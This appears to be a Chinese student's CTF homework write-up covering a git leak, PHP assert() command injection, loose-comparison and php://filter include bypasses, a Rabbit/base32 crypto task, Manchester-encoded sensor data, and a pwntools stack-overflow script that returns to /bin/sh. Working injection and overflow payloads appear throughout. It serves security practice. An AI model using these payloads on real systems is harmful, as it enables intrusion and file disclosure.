1.20作业

news/2025/2/22 13:30:05

1 mfw(git泄露)

./git,原本以为点了链接下了index文件,就可以打开看源码,结果解析不了

老老实实用了githacker

githacker --url      --output 1

assert()

断言(assert)的用法 | 菜鸟教程

命令注入:

/?page=').system('cat ./templates/flag.php');//

assert("strpos('templates/') or system('cat ./templates/flag.php');

//.php', '..') === false") or die("Detected hacking attempt!");

2 salted

53aaefcc805940d4b79a403127384d3d.png

base64解密,开头就是salted(AES DES RC4 Rabbit TripleDes)

c7b573216ce741969916395d8bb2ff6b.png

试了试是Rabbit

全是大写,base32解码;python转字符

hex_string=''
flag_string= ''.join(chr(int(hex_string[i:i+2], 16)) for i in range(0, len(hex_string), 2))
print(flag_string)

3 simple_php(松散比较)

>==,!==,(<>不等于,大于小于是松散比较)

(字符串和数字admin,1admin)(科学计数法0)(ture与非零字符串都是ture)

?a=0abc&b=1235abc

Web_php_include

strstr()函数:大小写敏感,用大写的PHP://来绕过过滤

/?page=PHP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

4 传感器2

百度一种可能:曼彻斯特编码

搜了搜wp:解析曼彻斯特编码实战-CSDN博客

删除3E可能是因为温度传感器解码后报文第一个字节为起始位,并无数据,因此从第二个字节开始,得到传感器1中两个解码后的报文有效数据为为0x24d8893ca5841000x24d8845abf34100

最后一个字节是校验位

然后涉及CRC校验攻防世界 Misc高手进阶区 7分题 传感器2_攻防世界传感器2-CSDN博客

5ezstack

·打开环境,nc连接checksec用相应ida打开附件:

1.定义了一个字符串v4且距离栈底0x20,有gets函数(危险,可通过此函数进行溢出)

2.发现/bin/sh地址,通过get函数【溢出到此处】,获取权限

from pwn import*

p=remote("node4.anna.nssctf.cn",28968)

payload=b'b'*(0x20+8)+p64(0x400730)

p.sendline(payload)

p.interactive()


http://www.niftyadmin.cn/n/5862329.html

相关文章

4-知识图谱的抽取与构建-4_2实体识别与分类

&#x1f31f; 知识图谱的实体识别与分类&#x1f525; &#x1f50d; 什么是实体识别与分类&#xff1f; 实体识别&#xff08;Entity Recognition&#xff09;是从文本中提取出具体的事物&#xff0c;如人名、地名、组织名等。分类&#xff08;Entity Classification&#x…

边缘安全加速平台 EO 套餐

腾讯云边缘安全加速平台 EO 提供了多种套餐选型&#xff0c;以满足不同用户的需求。每种套餐的功能和价格会有所不同&#xff0c;通常是根据业务规模、访问流量、加速需求和安全防护需求来进行选择。 下面是腾讯云边缘安全加速平台 EO 套餐选型的基本对比&#xff0c;通常会有以…

PW_Balance

目录 1、 PW_Balance 1.1、 getDocumentsTypeID 1.2、 getShouldAmount 1.3、 setOptimalAmount 1.4、 setRemark PW_Balance package com.gx.pojo; public class PW_Balance { private Integer BalanceID; private Integer PaymentID; private Integer ReceptionID…

vue2.x中父组件通过props向子组件传递数据详细解读

1. 父组件向子组件传递数据的步骤 在子组件中定义 props&#xff1a; 子组件通过 props 选项声明它期望接收的数据。props 可以是数组形式&#xff08;简单声明&#xff09;或对象形式&#xff08;支持类型检查和默认值&#xff09;。 在父组件中使用子组件时绑定 props&#x…

Brave132编译指南 MacOS篇 - 编译与运行(六)

1. 引言 经过前几篇文章的精心准备&#xff0c;我们已经成功初始化了Brave132浏览器的构建环境&#xff0c;现在&#xff0c;我们终于来到了激动人心的时刻&#xff1a;编译并运行Brave浏览器。本篇将详细介绍如何将之前准备好的源代码和依赖项转化为一个可以实际运行的Brave浏…

C#上位机--流程控制(IF语句)

在 C# 上位机开发领域&#xff0c;流程控制是构建功能丰富、逻辑严谨程序的关键。而if语句作为流程控制的基础组成部分&#xff0c;其重要性不言而喻。本文将深入探讨 C# 上位机中if语句的语法结构、应用场景以及实际操作案例&#xff0c;带你领略if语句在程序开发中的魅力与价…

【初阶数据结构】森林里的树影 “堆” 光:堆

文章目录 1.堆的概念及结构2.堆的接口实现2.1 堆的初始化2.2 堆的销毁2.3 堆的交换2.4 堆的向上调整2.5 堆的插入2.6 堆的向下调整2.7 堆的删除2.8 堆顶获取2.9 堆的判空2.10 堆的节点个数2.11 堆的打印2.12 堆的排序&#xff08;向上建堆&#xff09;2.13 堆的排序&#xff08…

【时时三省】(C语言基础)求1*2*3*4*5用C语言表示

山不在高&#xff0c;有仙则名。水不在深&#xff0c;有龙则灵。 ----CSDN 时时三省 示例&#xff1a; 输出结果为120